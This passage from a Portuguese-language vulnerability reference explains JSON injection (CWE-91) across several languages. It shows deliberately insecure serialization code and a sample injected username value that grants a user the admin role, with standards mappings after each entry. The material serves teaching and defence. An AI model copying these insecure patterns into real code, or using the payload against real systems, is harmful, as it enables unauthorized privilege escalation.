Ainda assim, como serialização JSON é realizada com o uso de JsonWriter.WriteRawValue(), os dados não confiáveis em username e password não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory com a senha Evil123! fosse acrescentar ","role":"admin ao seu nome de usuário ao inseri-lo no prompt que define o valor da variável username, o JSON salvo em C:\user_info.json seria:


{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}


Se esse arquivo JSON serializado fosse então desserializado em um objeto Dictionary com JsonConvert.DeserializeObject(), da seguinte maneira:


String jsonString = File.ReadAllText(@"C:\user_info.json");

Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);


Os valores resultantes para as chaves username, password e role no objeto Dictionary seriam mallory, Evil123! e admin, respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.json_injection
Abstract
O método grava uma entrada não validada para o JSON. Um invasor pode injetar elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando destinado a enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode transmitir informações confidenciais, como credenciais de autenticação.

Invasores podem alterar a semântica de documentos e mensagens JSON se um aplicativo JSON for construído a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em casos mais graves, como aqueles que envolvem uma injeção de JSON, um invasor pode inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Às vezes, a injeção de JSON pode provocar criação de scripts entre sites ou avaliação de código dinâmico.

Exemplo 1: O seguinte código serializa as informações de autenticação da conta de usuário para usuários não privilegiados (aqueles com uma função de "default", em oposição aos usuários privilegiados com uma função de "admin") de variáveis de entrada controladas por usuário username e password para o arquivo JSON localizado em ~/user_info.json:


...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()

jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}


Como o código executa a serialização JSON usando concatenação, os dados não confiáveis em username e password não serão validados para realizar escape de caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrárias, podendo modificar a estrutura serializada JSON. Neste exemplo, se o usuário não privilegiado mallory com a senha Evil123! anexou ","role":"admin quando ela inseriu seu nome de usuário, o JSON resultante salvo para ~/user_info.json seria:


{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}

Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá involuntariamente os privilégios "admin" ao usuário mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.json_injection
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando usado para enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON pode ser alterada quando um aplicativo constrói o JSON a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em um caso mais grave, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Em alguns casos, a injeção de JSON pode provocar cross-site scripting ou avaliação de código dinâmico.

Exemplo 1: O seguinte código Java usa o Jackson para serializar as informações de autenticação da conta de usuário para usuários não privilegiados (aqueles com uma função de "default", em oposição aos usuários privilegiados com uma função de "admin") de variáveis de entrada controladas por usuário username e password para o arquivo JSON localizado em ~/user_info.json:


...

JsonFactory jfactory = new JsonFactory();

JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);

jGenerator.writeStartObject();

jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");

jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");

jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");

jGenerator.writeEndObject();

jGenerator.close();


Ainda assim, como serialização JSON é realizada com o uso de JsonGenerator.writeRawValue(), os dados não confiáveis em username e password não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory com a senha Evil123! fosse acrescentar ","role":"admin ao seu nome de usuário ao inseri-lo no prompt que define o valor da variável username, o JSON salvo em ~/user_info.json seria:


{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}


Se esse arquivo JSON serializado fosse então desserializado em um objeto HashMap com JsonParser do Jackson, da seguinte maneira:


JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));

while (jParser.nextToken() != JsonToken.END_OBJECT) {

String fieldname = jParser.getCurrentName();

if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}

if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}

if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}

if (userInfo.size() == 3)
break;
}

jParser.close();


Os valores resultantes para as chaves username, password e role no objeto HashMap seriam mallory, Evil123! e admin, respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.json_injection
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando usado para enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON pode ser alterada quando um aplicativo constrói o JSON a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em um caso mais grave, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Em alguns casos, a injeção de JSON pode provocar cross-site scripting ou avaliação de código dinâmico.

Exemplo 1: O código JavaScript a seguir usa jQuery para analisar o JSON no qual um valor vem de uma URL:


var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}

$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});


Aqui os dados não confiáveis em name não serão validados para escapar dos caracteres especiais relacionadas com o JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory acrescentasse ","role":"admin ao parâmetro nome na URL, o JSON se tornaria:


{
"role":"user",
"username":"mallory",
"role":"admin"
}


Ele é analisado pelo jQuery.parseJSON() e definido como um objeto simples, o que significa que obj.role retornaria agora "admin" em vez de "user"
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.json_injection
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando usado para enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON pode ser alterada quando um aplicativo constrói o JSON a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em um caso mais grave, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Em alguns casos, a injeção de JSON pode provocar cross-site scripting ou avaliação de código dinâmico.

Exemplo 1: Este código Objective-C serializa as informações de autenticação de conta para usuários não privilegiados (aqueles com uma função "padrão" em vez dos usuários privilegiados, com uma função de "admin") em JSON a partir dos campos controlados pelo usuário _usernameField e _passwordField:


...

NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];


Ainda assim, como serialização JSON é realizada com o uso de NSString.stringWithFormat:, os dados não confiáveis em _usernameField e _passwordField não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory com a senha Evil123! anexasse ","role":"admin ao nome de usuário dele ao digitá-lo no campo _usernameField, o JSON resultante seria:


{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}


Se essa cadeia JSON serializada fosse então desserializada para um objetoNSDictionary com NSJSONSerialization.JSONObjectWithData: desta maneira:


NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];


Os valores resultantes de username, password, e role no objeto NSDictionary seriam mallory, Evil123!, e admin respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
